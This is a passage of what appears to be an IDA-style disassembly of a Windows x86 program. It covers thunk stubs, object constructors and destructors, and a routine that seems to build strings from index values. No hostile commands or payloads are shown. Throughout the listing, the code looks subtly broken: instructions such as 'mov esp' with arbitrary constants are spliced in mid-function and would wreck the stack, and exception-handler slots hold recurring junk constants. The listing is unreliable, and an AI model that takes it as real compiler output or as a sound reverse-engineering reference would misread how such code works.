sub_401F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F91 proc near ; CODE XREF: sub_409C90+14p
; sub_409CC0+7p ...
jmp sub_409CE0
sub_401F91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F96 proc near ; CODE XREF: sub_40A740+1Ap
; sub_40A790+1Ap
jmp sub_40A800
sub_401F96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F9B proc near ; CODE XREF: sub_414390+3p
; sub_414B60+4Fp ...
jmp sub_414DE0
sub_401F9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA0 proc near ; DATA XREF: _8C6BDE73:0043702Co
jmp sub_40EB00
sub_401FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA5 proc near ; CODE XREF: sub_413560+EDp
jmp sub_4145C0
sub_401FA5 endp
; ---------------------------------------------------------------------------
jmp loc_419A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FAF proc near ; CODE XREF: sub_40B980+3p
jmp sub_40BC00
sub_401FAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB4 proc near ; CODE XREF: sub_40BA20+11p
; sub_40BA20+27p ...
jmp sub_40BD40
sub_401FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB9 proc near ; CODE XREF: sub_41CC30+2C5p
jmp sub_41EDB0
sub_401FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FBE proc near ; CODE XREF: sub_41BE00+652p
jmp sub_41A740
sub_401FBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC3 proc near ; CODE XREF: sub_417280+32p
jmp sub_417550
sub_401FC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC8 proc near ; CODE XREF: sub_40D9C0+ACp
; _294ADE7B:0040E0EDp
jmp sub_40DB00
sub_401FC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FCD proc near ; CODE XREF: sub_412570+93p
jmp sub_42EBA0
sub_401FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD2 proc near ; CODE XREF: sub_413F60+1Fp
; sub_414830+2Cp
jmp sub_414790
sub_401FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD7 proc near ; CODE XREF: _294ADE7B:0042507Dp
jmp sub_425040
sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: sub_41EB00+17Dp
jmp sub_4200A0
sub_401FDC endp
; ---------------------------------------------------------------------------
loc_401FE1: ; DATA XREF: _8C6BDE73:off_437010o
jmp loc_409670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE6 proc near ; CODE XREF: sub_40A550+6Ap
; sub_40A550+103p
jmp sub_40A790
sub_401FE6 endp
; ---------------------------------------------------------------------------
jmp loc_424BF0
; ---------------------------------------------------------------------------
jmp loc_426D10
; ---------------------------------------------------------------------------
jmp loc_4192A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near ; CODE XREF: sub_406ED0+16p
; sub_406F10+Bp ...
jmp sub_407170
sub_401FFA endp
; ---------------------------------------------------------------------------
jmp loc_417180
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402004 proc near ; CODE XREF: sub_40AB60+1Bp
jmp sub_42DC70
sub_402004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402009 proc near ; CODE XREF: sub_414790+5Ap
jmp sub_415270
sub_402009 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40200E proc near ; CODE XREF: sub_42A850+ABp
; sub_42B830+1Bp ...
jmp sub_42B8A0
sub_40200E endp
; ---------------------------------------------------------------------------
jmp loc_429C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402018 proc near ; CODE XREF: sub_407E8F+44Dp
; sub_407E8F+472p ...
jmp sub_417F90
sub_402018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_40B080+55p
jmp sub_409B30
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: sub_4201C0+34p
; sub_420AE0+67p
jmp sub_420800
sub_402022 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402027 proc near ; CODE XREF: sub_406DA0+2Cp
; sub_406DA0+68p ...
jmp sub_406F10
sub_402027 endp
; ---------------------------------------------------------------------------
jmp loc_42E570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402031 proc near ; CODE XREF: sub_41ACE0+1B3p
; sub_41ACE0+332p ...
jmp sub_41BD40
sub_402031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402036 proc near ; CODE XREF: sub_40B7D0+11p
; sub_40BA20+1Fp
jmp sub_40BB50
sub_402036 endp
; ---------------------------------------------------------------------------
jmp loc_42A790
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_422CE0+1Ap
; sub_422DC0+1Bp ...
jmp sub_422B10
sub_402040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402045 proc near ; CODE XREF: _294ADE7B:0041574Bp
jmp sub_416F30
sub_402045 endp
; ---------------------------------------------------------------------------
jmp loc_429E20
; ---------------------------------------------------------------------------
jmp loc_429FB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_42E2E0+1Bp
jmp sub_42E350
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402059 proc near ; CODE XREF: sub_4295A0+101p
jmp sub_428EF0
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40205E proc near ; DATA XREF: _8C6BDE73:off_43700Co
jmp sub_406E70
sub_40205E endp
; ---------------------------------------------------------------------------
jmp loc_429470
; ---------------------------------------------------------------------------
jmp locret_416E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_403360+25p
; sub_403360+35p ...
jmp sub_4038B0
sub_40206D endp
; ---------------------------------------------------------------------------
jmp loc_42E280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402077 proc near ; CODE XREF: sub_416980+88p
; sub_416980+98p
jmp sub_417080
sub_402077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40207C proc near ; CODE XREF: _294ADE7B:004157EBp
; _294ADE7B:0043392Cj ...
jmp sub_4162D0
sub_40207C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402081 proc near ; CODE XREF: sub_4170D0+5p
jmp sub_417410
sub_402081 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402086 proc near ; CODE XREF: sub_4133D0+3p
jmp sub_413400
sub_402086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_42A250+1Fp
; _294ADE7B:0042A32Fp ...
jmp sub_42BC70
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_42A9E0+102p
; sub_42C8D0+5Dp ...
jmp sub_42B9B0
sub_402090 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402095 proc near ; CODE XREF: sub_4122A0+5Cp
; sub_4122A0+C0p ...
jmp sub_4141F0
sub_402095 endp
; ---------------------------------------------------------------------------
jmp loc_42C5B0
; ---------------------------------------------------------------------------
jmp loc_42A310
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_41BE00+203p
jmp sub_428270
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; CODE XREF: sub_4295A0+148p
; sub_4295A0+173p
jmp sub_428E10
sub_4020A9 endp
; ---------------------------------------------------------------------------
jmp loc_429340
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B3 proc near ; CODE XREF: sub_412160+34p
; sub_413560+40p
jmp sub_414680
sub_4020B3 endp
; ---------------------------------------------------------------------------
jmp loc_4293C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020BD proc near ; CODE XREF: sub_421170+93Dp
jmp loc_422690
sub_4020BD endp
; ---------------------------------------------------------------------------
jmp loc_418160
; ---------------------------------------------------------------------------
db 0CEAh dup(0CCh)
byte_402DB1 db 0EFh dup(0CCh) ; DATA XREF: sub_40DD20+5o
byte_402EA0 db 2F0h dup(0CCh) ; DATA XREF: sub_4068E0+DDo
; =============== S U B R O U T I N E =======================================
sub_403190 proc near ; CODE XREF: sub_4018DEj
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push 5AE931h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esp, 0EAB5D2h
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_4031E9
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_4031DA: ; CODE XREF: sub_403190+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_4031DA
loc_4031E9: ; CODE XREF: sub_403190+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_4013CF
push 755AE9h
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_4017A8
push 3AAD74h
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_4019A1
push 1D56BAh
lea ecx, [esp+47Ch+var_450]
call sub_4017A8
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_403241: ; CODE XREF: sub_403190+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_403297
lea ecx, [esp+478h+var_438]
call sub_4015F5
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_401622
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_401726
push eax
lea ecx, [esp+47Ch+var_450]
call sub_4019BA
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_4011F9
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_403241
loc_403297: ; CODE XREF: sub_403190+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_40146F
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_4011F9
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_4011F9
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_4011F9
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_403190 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403360 proc near ; CODE XREF: sub_401267j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 0EAB5Dh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+9]
call sub_40206D
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_40206D
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_40206D
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_40206D
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_40206D
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_40206D
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_40206D
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_40206D
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_40206D
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_40206D
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_40206D
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_40206D
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_40206D
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_40206D
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_40206D
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_40206D
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_40206D
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_40206D
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_40206D
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_40206D
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_40206D
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_40206D
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_40206D
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_40206D
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_40206D
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_40206D
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_40206D
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_40206D
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_40206D
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_40206D
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_40206D
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_40206D
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_40206D
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_40206D
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_40206D
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_40206D
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_40206D
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_40206D
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_40206D
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_40206D
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_4016A9
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_4016A9
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_4016A9
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_4016A9
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_4016A9
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_4016A9
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_4016A9
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_4016A9
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_4016A9
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_4016A9
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_4016A9
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_4016A9
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_4016A9
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_4016A9
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_4016A9
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_4016A9
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_4016A9
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_401181
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_401181
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_401181
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_401181
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_401181
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403360 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403890 proc near ; CODE XREF: sub_401190j
mov eax, ecx
mov dword ptr [eax], offset off_437004
retn
sub_403890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4038B0 proc near ; CODE XREF: sub_40206Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4038B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4013CF
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_4013CF
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4038B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403930 proc near ; CODE XREF: sub_4019F1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 63AAD7h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_4011F9
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403930 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4039B0 proc near ; CODE XREF: sub_4016A9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 31D56Bh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4013CF
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_4013CF
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4039B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403A20 proc near ; CODE XREF: sub_401181j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 18EAB5h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40206D
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_40206D
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_40206D
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_40206D
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_40206D
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40206D
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_40206D
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_40206D
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403A20 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403B00 proc near ; CODE XREF: sub_401EFBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 4C755Ah
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_4019F1
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_4019F1
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_4019F1
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_4019F1
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_4019F1
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_4019F1
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_4019F1
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4019F1
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403B00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403BE0 proc near ; CODE XREF: sub_401C0Dj
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 263AADh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4018DE
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_401726
lea ecx, [esi+0C29h]
push eax
push ecx
mov edx, 6131D5h
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+84h+var_3C]
push 2
push edx
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 1
call sub_401726
push eax
lea eax, [esi+0BCDh]
push eax
mov ebp, 2B898Eh
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+7Ch+var_3C]
push 2
push ecx
call sub_4018DE
add esp, 24h
push esi
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_401726
lea edx, [esi+0C57h]
push eax
push edx
mov esp, 0A0AE26h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+80h+var_3C]
push 2
push eax
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+64h+var_4], 3
call sub_401726
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, 26C2B8h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+84h+var_3C]
push 2
push edx
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 4
call sub_401726
push eax
lea eax, [esi+0C85h]
push eax
mov ebp, offset word_48DB0A
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+80h+var_3C]
push 2
push ecx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+64h+var_4], 5
call sub_401726
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_458DB0
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+88h+var_3C]
push 2
push eax
call sub_4018DE
add esp, 30h
push esi
mov ecx, eax
mov [esp+64h+var_4], 6
call sub_401726
lea ecx, [esi+0DC7h]
push eax
push ecx
mov esi, 0CE8B1Bh
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+78h+var_3C]
push 2
push edx
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_401726
push eax
lea eax, [esi+0D0Fh]
push eax
mov ebx, 2CE8B1h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+78h+var_3C]
push 2
push ecx
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 8
call sub_401726
lea edx, [esi+0D99h]
push eax
push edx
mov edx, 59D1h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+74h+var_3C]
push 2
push eax
call sub_4018DE
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 9
call sub_401726
lea ecx, [esi+0E23h]
push eax
push ecx
mov edi, 8E20B3h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+74h+var_3C]
push 2
push edx
call sub_4018DE
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_401726
push eax
lea eax, [esi+0D6Bh]
push eax
mov esi, 0A8E20Bh
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+74h+var_3C]
push 2
push ecx
call sub_4018DE
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Bh
call sub_401726
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, 0CB8E20h
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+84h+var_3C]
push 2
push eax
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Ch
call sub_401726
push eax
lea ecx, [esi+0CB3h]
push ecx
mov esp, 0CDB8Eh
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+78h+var_3C]
push 2
push edx
call sub_4018DE
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Dh
call sub_401726
push eax
lea eax, [esi+0CE1h]
push eax
mov esp, 60736Eh
call sub_401523
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_4011F9
lea ecx, [esi+9]
call sub_401726
lea ecx, [esp+60h+var_54]
push eax
push ecx
call sub_401EBF
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+70h+var_3C]
push 28h
push edx
mov [esp+78h+var_4], 0Eh
call sub_4018DE
add esp, 18h
mov ebp, eax
lea ecx, [esp+60h+var_54]
mov byte ptr [esp+60h+var_4], 0Fh
call sub_401726
push eax
mov ecx, ebp
call sub_401726
push eax
push 3039B7h
push 581CDBh
call sub_401CDA
add esp, 10h
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0Eh
call sub_4011F9
push 20h
lea eax, [esp+64h+var_24]
push 0
push eax
lea ecx, [esp+6Ch+var_54]
call sub_40127B
mov ecx, eax
mov byte ptr [esp+60h+var_4], 10h
call sub_401726
push eax
push 6C0E6Dh
push 760736h
call sub_40102D
